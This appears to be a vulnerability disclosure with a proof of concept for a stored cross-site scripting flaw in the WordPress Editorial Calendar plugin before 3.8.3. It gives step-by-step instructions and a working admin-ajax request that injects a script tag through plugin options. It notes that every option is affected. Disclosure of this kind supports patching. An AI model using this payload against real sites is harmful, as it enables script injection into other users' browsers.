Editorial Calendar < 3.8.3 - Contributor+ Stored XSS

Proof of Concept

Login as a contributor, go to the Calendar page (https://example.com/wp-admin/edit.php?page=cal), and get the nonce from the edcal.wp_nonce in the source

Make a request like https://example.com/wp-admin/admin-ajax.php?_wpnonce=NONCE&action=edcal_saveoptions&wheel-support=true});</script><script>alert(/XSS/);</script>

The XSS will be triggered for anyone viewing the Calendar page

PS: All options are affected (such as weeks , status-hide, time-hide, etc)